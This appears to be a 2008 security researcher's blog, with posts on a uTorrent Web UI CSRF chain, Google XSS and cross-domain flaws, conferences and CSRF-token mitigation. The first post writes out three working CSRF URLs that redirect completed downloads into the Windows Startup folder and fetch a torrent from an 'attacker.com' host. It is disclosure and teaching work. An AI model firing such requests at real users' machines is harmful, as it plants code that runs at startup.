Billy (BK) Rios

CSRF pwns your box?!?!

2008-04-21T08:02:47Z

Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some “housekeeping” on the recent spreadsheets.google.com XSS. (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog. (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln. (3) Part of the vulnerability involved a caching flaw in Google’s servers, this issue is specific to Google and it was also fixed…   OK, on to the good stuff…


A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I’ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:

When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.

Rob uses a first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. The CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1

Once Rob has “turned on” the “Move completed downloads” functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent

Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run… there you have it… compromise of a victim’s system through three CSRFs! Scary stuff… you can read more about the issue on Robs Blog .

ToorCon ROCKED!

2008-04-21T07:07:45Z

ToorCon this weekend totally ROCKED. Any venue that has flaming tetherball, major websites getting pwnd, hawt hacker chics pwning backbone protocols, java 0-days, and free beer has to ROCK. All the talks I caught were awesome and the con has inspired me to look into some new avenues of research (aka pwnage).

Thanks to H1kari, tim, Geo, and Phil for having me out!

Mark Dowd scares me….

2008-04-16T05:37:44Z

If you haven’t heard yet, Mark Dowd chopped up a Flash vulnerability ninja style and released a 25 page whitepaper describing his attack. It’s truly a work of art and can be found here.

I’m not even going to attempt to describe any portion of this attack (just thinking about it makes my head hurt), but Thomas Ptacek from Matasano has a great writeup

Google XSS

2008-04-16T05:41:23Z

Now, normally when I find an XSS vulnerability on a popular domain I just report it to the appropriate security team and move on, but this one is interesting…

By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.

So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…

This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. The paper can be found here. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…

In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.

I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “”

I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.

When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.

To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.

I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…

RSA over… on to toorcon Seattle

2008-04-13T15:17:19Z

RSA is officially over! It was a great experience and I’ll talk about a few of the talks that really captured me in later posts. I do want to thank Jeremiah Grossman for throwing the WASC get together, the BAYSEC crew, McAfee (their party was awesome), iSEC (their party was AWESOME), Thirsty Bear, everyone at the W, and everyone that came to the Breaking and Securing Web Applications talk!

There were tons of people trying to get some answers to their web appsec questions after the talk, if you weren’t able to talk to me after the session or during the conference, please don’t hesitate to shoot me an email.

I’ll be at toorcon next week, if you’re in the Seattle area, look me up…

Insecure Content Ownership

2008-04-04T08:12:09Z

Taking ownership of someone else’s content is always a tricky deal. Nate McFeters and I spoke about some of the issues related to taking “ownership” of someone else’s content last year at Defcon, but we continue to see more and more places willingly accepting third party content and happily serving it from their domain. I came across an interesting cross domain issue based on content ownership that involved Google. Google has fixed the issue, but I thought the issue was interesting so I’ll share the details… but before I do… I wanted to mention the efforts put forth by the Google Security Team (GST). Fixing this issue was not trivial… it involved significant changes as to how content was served from Google servers. Needless to say, the GST moved quickly and the issue was fixed in an amazingly expedient and effective manner… KUDOS to the GST!

On to the issue:
I discovered that users could upload arbitrary files to the code.google.com domain by attaching a file to the “issues” portion of a project. The uploaded file is then served from the code.google.com domain. Normally, these types of attacks would make use of the Flash cross domain policy file and the System.security.loadPolicyFile() API, however due to the unique path of each project, the cross domain capabilities of Flash are very limited in this instance as policy files loaded via loadPolicyFile() are “limited to locations at or below its own level in the server’s hierarchy”.

Flash isn’t the only option here though. Java has a different security policy and uploading a Java class file to the code.google.com domain gives me access to the entire domain, as opposed to only certain folders and sub folders.

Sounds pretty straight forward huh? Well, I ran into some issues as the JVM encodes certain characters in its requests for class files made via the CODE attribute within APPLET tags. After poking around a bit, I realized that requests made via the ARCHIVE would be sent as is, without the encoding of special characters. With this newfound knowledge in hand, I created a JAR file with my class file within it and uploaded it to code.google.com.

Now, the CODE attribute is a required attribute within the APPLET tag, so I specified name of the class file I placed within the JAR file. When the APPLET tag is rendered, the JVM first downloads the JAR file specified in the ARCHIVE attribute, the JVM then makes the request for the class file specified in the CODE attribute. In this instance, the request for the class file specified in the CODE attribute will fail as the class file is not on the code.google.com server (even if it was, we wouldn’t be able to reach it as requests made via the CODE attribute are encoded). The failure to locate the class file causes the JVM to begin searching alternate locations for the requested class file and the JVM will eventually load a class file with the same name located inside of the JAR file…

Once the class file is loaded, the JVM will fire the init() method and Java’s Same Origin policy allows me to use the applet to communicate with the domain that served the applet class file (as opposed to the domain that hosts the HTML calling the APPLET tag). Here’s a screenshot of the PoC page I was hosting on XS-Sniper.com.

I don’t think there is a tool on the market today that even attempts to detect something like this and I’ve met many “security professionals” that have no idea that vulnerabilities like this even exist. This isn’t the first time I’ve come across a cross domain hole based on content ownership. I’m expecting we’ll see a lot more of these types of vulnerabilities in the future as cross domain capabilities becomes more prevalent in client side technologies and as content providers become more and more comfortable in taking ownership of others content.

Amsterdam, RSA, Security Vids, and the Harvard Business Review

2008-04-03T07:43:56Z

I’ve survived yet another Blackhat Europe… actually, part of me probably perished in the streets of Amsterdam, but that’s a story for the bars. I’ll be in San Francisco next week speaking at the RSA Conference. I plan on attending the WASC RSA meetup and the iSEC Forum and Social (I love the iSEC parties!). If you see me out and about, hit me up and we’ll talk security over a few drinks!

Also, I was sent a link to a collection of secure development videos from a co-worker. The videos cover a wide range of topics such as “How do I: Prevent a SQL Injection Security Flaw in an ASP.NET Application” all the way to “How Do I: Use Managed Cards in Windows CardSpace to Increase the Security of My Web Site“. The videos are a great place for any budding developer to explore some Secure Development techniques. I like the videos because many of them address security related questions that I get all of the time and serve as an excellent remediation tool. The vids are by no means a comprehensive guide to Secure Development nor are they a replacement for a formal SDL, but they can be a great training tool and have a lot of value.

Last item for the day… I’m a big fan of the Harvard Business Review (HBR). Usually, the articles contained within HBR have nothing to do with information security (or even computers for that matter). In the latest issue, there is a piece entitled “Radically Simple IT“, which outlines some interesting strategies for IT projects at the enterprise level (path based approach). It’s an interesting article and if you’re considering implementing any medium to large size IT project, you should definitely give it a read….

Have some Bad Sushi at Blackhat Europe

2008-03-27T08:42:05Z

I’ll be headed out to Blackhat Europe, speaking on phishing, scams, and ATM skimmers. If you’re in the area, look me up and well grab a few at the bar.

Also, I wanted to take a moment to thank my colleagues out in Hyderabad, India. I recently traveled to Hyderabad for some security work and the hospitality and friendliness I encountered really made me feel at home!

Preventing XSS Exploitation with CSRF Tokens?!?!

2008-03-19T13:13:18Z

A colleague and I were tossing around the idea of preventing XSS Exploitation with CSRF tokens. Now, before people start going “high and right” on me…hear me out… I DID NOT say “prevent XSS” with CSRF tokens, I said prevent “XSS Exploitation” with CSRF tokens. This discussion arose after someone presented me with the following scenario (this same scenario has been presented to me many, many times… typically at a bar after a few drinks):

You come into an organization and take over the application security department because the old security person left/was fired/was arrested/whatever. You take a look at the 10 million line flagship application and realize that its riddled with XSS holes, yet you don’t have the resources/time/cojo’s to fix all the exposures. What do you do?

This scenario is usually followed up by a pitch to sell me on some Web Application Firewall product….. I’ll put my thoughts on WAFs aside for a second… and I’ll try to get to the underlying issue of the scenario presented above: You need to do something to stop your customers from getting XSSd, you don’t have much time, you don’t have many resources and there is a ton of code to go through.

Now, what if you required CSRF tokens/canaries for every request? This doesn’t “fix” the XSS exposures, but it makes it a LOT more difficult to exploit (unless you want to exploit yourself). The CSRF tokens effectively prevent an attacker from sending the XSS to anyone else. Considering many token/canary values are implemented at the framework level, in most cases it would require a configuration change for the application. Now, once every page is protected by the canary, you can systematically examine the “high priority” pages or pages where canaries don’t make sense and remove the canary requirement after that particular page/functionality has gone through a review. In order to prevent the attacker from sending their own canary value, the CSRF token would have to be tied to the current users session (most good implementations do this anyway).

Now, once again, this DOES NOT FIX XSS, it just makes exploitation harder. This isn’t a new concept, in fact this same type of approach is being used by modern day operating systems. Take buffer overflows for example, protections like DEP, ASLR, Stackguard, GS flag… these protections do not prevent developers from writing buffer overflows and they do not “fix” buffer overflows… they do make exploiting buffer overflows a lot more difficult (unless you’re a Litchfield brother, HD Moore, or Alexander Sotirov).

Now, of course there are some cons to this strategy… First, the XSS exposures are not fixed (the WAFs don’t fix them either). This doesn’t protect against persistent XSS. There will be some performance hits to your web server when you have canaries for each request. This will NOT help you defend against injection attacks like SQL Injection or Command injection, that will require an audit… on the flip side… if you’re relying solely on a WAF to protect you against SQLi and Command Injection, I’d be worried…

Reflections on Trusting Trust

2008-03-18T03:21:11Z

For those who have never read the classic “Reflections on Trusting Trust”, you can find it here. Reflections is a easy read on the perils of running un-trusted code on your machine. It’s a concept that’s foreign to many users as we typically run “un-trusted” HTML and clientside scripts from web sites thousands of times a day, praying that he browser sandbox and same origin policy saves us… I mean.. can you really trust the underlying content from this blog?

Of course, downloading and running code on you machine is EVEN MORE DANGEROUS. It doesn’t matter what kind of browser protections you have, once you execute code from an untrusted source, you’re at the mercy of that developer. Do you really trust the publishers of all those plugins and add-ons you are running? A perfect example of this… is G-Archiver. G-Archiver is a program that can be used to backup your Gmail messages to an offline source. Apparently, after some tinkering with DotNet Reflector (great tool btw), Dustin Brooks discovered a HARD CODED Gmail username and password in the source. Upon further investigation, Dustin realized that users of G-Archiver were silently getting their Gmail Creds posted to a Gmail account belonging to the creator of the G-Archive tool (John Terry). Here’s a screen shot of what Dustin saw:

Luckly, I’ve been conditioned (mostly by the pranksters at the Advanced Security Center in Houston) not to trust anything…

Links and Links